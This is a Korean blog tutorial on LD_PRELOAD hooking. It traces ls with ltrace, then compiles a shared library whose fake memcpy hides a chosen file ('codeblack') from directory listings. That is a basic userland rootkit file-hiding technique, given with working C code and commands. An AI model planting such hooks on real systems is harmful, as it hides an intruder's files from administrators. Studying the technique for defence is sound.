Linux System hooking using LD_PRELOAD
공유 라이브러리의 경로를 의미하는 LD_PRELOAD를 이용하여 Linux System 후킹에 대한 이야기입니다. 크게 시나리오를 보자면 LD_PRELOAD에 공격자가 .so 파일을 삽입하고 시스템 명령이 해당 so 파일을 로드하여 명령 내에서 사용되는 함수를 바꿔치기 하여 데이터를 숨기는 과정입니다.
LD_PRELOAD에 경로 설정 시 dynamic linker 가 해당 경로의 so 파일을 공유 라이브러리로 무조건 선적재하기 때문에 시스템에서 사용되는 명령의 함수를 바꿔치기 할 수 있습니다.
Runtime library call
일단 시스템 명령의 runtime lib의 call 을 확인하기 위해 ltrace 라는 툴을 사용하여 확인할 수 있습니다. ltrace 는 apt 패키지 매니저를 이용하여 쉽게 설치가 가능합니다.(debian, ubuntu 기준)
apt-get install ltrace
Usage: ltrace [option ...] [command [arg ...]]
Trace library calls of a given program.
-a, --align=COLUMN align return values in a secific column.
-A ARRAYLEN maximum number of array elements to print.
-c count time and calls, and report a summary on exit.
-C, --demangle decode low-level symbol names into user-level names.
-D, --debug=LEVEL enable debugging (see -Dh or --debug=help).
-Dh, --debug=help show help on debugging.
-e expr modify which events to trace.
-f trace children (fork() and clone()).
-F, --config=FILE load alternate configuration file (may be repeated).
-h, --help display this help and exit.
-i print instruction pointer at time of library call.
-l, --library=FILE print library calls from this library only.
-L do NOT display library calls.
-n, --indent=NR indent output by NR spaces for each call level nesting.
-o, --output=FILE write the trace output to that file.
-p PID attach to the process with the process ID pid.
-r print relative timestamps.
-s STRLEN specify the maximum string size to print.
-S display system calls.
-t, -tt, -ttt print absolute timestamps.
-T show the time spent inside each call.
-u USERNAME run command with the userid, groupid of username.
-V, --version output version information and exit.
-x NAME treat the global NAME like a library subroutine.
ltrace ls
ls 명령 사용 시 발생하는 lib call 을 확인하면 아래와 같습니다.
ltrace ls
.....
opendir(".") = 0x011f1c30
readdir(0x011f1c30) = 0x011f1c60
readdir(0x011f1c30) = 0x011f1c78
strlen("codeblack") = 9
malloc(10) = 0x011f9c70
memcpy(0x011f9c70, "codeblack", 10)
....
해당 내용을 보면 각 파일별로 malloc 을 통해 메모리를 할당하고 memcpy 를 통해 각 파일명을 copy 함을 알 수 있습니다. 이제 이 memcpy 함수를 변조하여 숨겨야할 파일을 숨겨보도록 하겠습니다.
가짜 memcpy 함수를 구현
아래와 같이 memcpy 함수를 구현해봅시다. man 명령을 통해 memcpy 확인 시 인자값에 쉽게 확인 가능합니다.
NAME
memcpy - copy memory area
SYNOPSIS
#include <string.h>
void *memcpy(void *dest, const void *src, size_t n);
동일한 형태로 함수 구성 후 기능 또한 동일하게 구현합니다.
#include <stdio.h>
void *memcpy(void *dest, const void *src, size_t count) {
char* dst8 = (char*)dest;
char* src8 = (char*)src;
while (count--) {
*dst8++ = *src8++;
}
printf("H4ck : memcpy[%x][%s]\r\n",dest,src);
return dest;
}
gcc -shared -fPIC -o hahwul.so hahwul.c
# output: hahwul.so
gcc options
- fPIC : PIC(Position-Independent Code)이며 .o 파일을 해당 옵션을 통해 Object 파일을 .so 파일로 묶습니다.
- shread : 공유 라이브러리와 링크, 공유 라이브러리가 없는 경우 정적 라이브러리와 링크합니다.
동적 라이브러리, 공유 라이브러리 옵션을 포함하여 gcc 를 이용해 컴파일 후 LD_PRELOAD 에 .so 파일을 넣고 ls 실행 결과 printf 를 사용하여 찍어낸 내용이 나타납니다. (ls 내 memcpy 함수가 우리가 만든 함수로 동작)
LD_PRELOAD=./hahwul.so ls
H4ck : memcpy[1727050][]
H4ck : memcpy[1727090][]
H4ck : memcpy[172bc10][.]
H4ck : memcpy[1733c70][hahwul.so]
H4ck : memcpy[1733c90][codeblack]
H4ck : memcpy[1733cb0][data1]
H4ck : memcpy[1733cd0][hahwul.c]
H4ck : memcpy[1733cf0][data2]
H4ck : memcpy[172bc60][�pr ]
H4ck : memcpy[172bc50][�pr ]
codeblack data1 data2 hahwul.c hahwul.so
ls 명령 시 특정 파일이 노출되지 않도록 memcpy 함수 수정
여기서 ls 명령 시 codeblack 파일을 안보이게 처리하기 위해서는 .so 파일의 코드에 codeblack 이란 문자열을 비교하여 memcpy 를 하지 않으면 됩니다.
codeblack 비교 구문 추가
if(strcmp(src,"codeblack")==0)
{
return dest;
}
#include <stdio.h>
void* memcpy(void* dest, const void* src, size_t count) {
char* dst8 = (char*)dest;
char* src8 = (char*)src;
if(strcmp(src,"codeblack")==0)
{
return dest;
}
while (count--) {
*dst8++ = *src8++;
}
printf("H4ck : memcpy[%x][%s]\r\n",dest,src);
return dest;
}
컴파일 후 LD_PRELOADdp .so 파일을 넣어 확인 시 codeblack 파일은 노출되지 않습니다.
gcc -shared -fPIC -o hahwul.so hahwul.c #so 파일 생성
LD_PRELOAD=./hahwul.so ls #LD_PRELOAD에 .so 파일 포함 후 ls 실행
H4ck : memcpy[13e6050][]
H4ck : memcpy[13e6090][]
H4ck : memcpy[13eac10][.]
H4ck : memcpy[13f2c70][hahwul.so]
H4ck : memcpy[13f2cb0][data1]
H4ck : memcpy[13f2cd0][hahwul.c]
H4ck : memcpy[13f2cf0][data2]
..
data1 data2 hahwul.c hahwul.so
위와 같이 간단하게 memcpy 함수를 조작하여 ls 명령으로 데이터 확인 시 숨길 수 있습니다.
References
- http://hyunmini.tistory.com/55
- http://stackoverflow.com/questions/426230/what-is-the-ld-preload-trick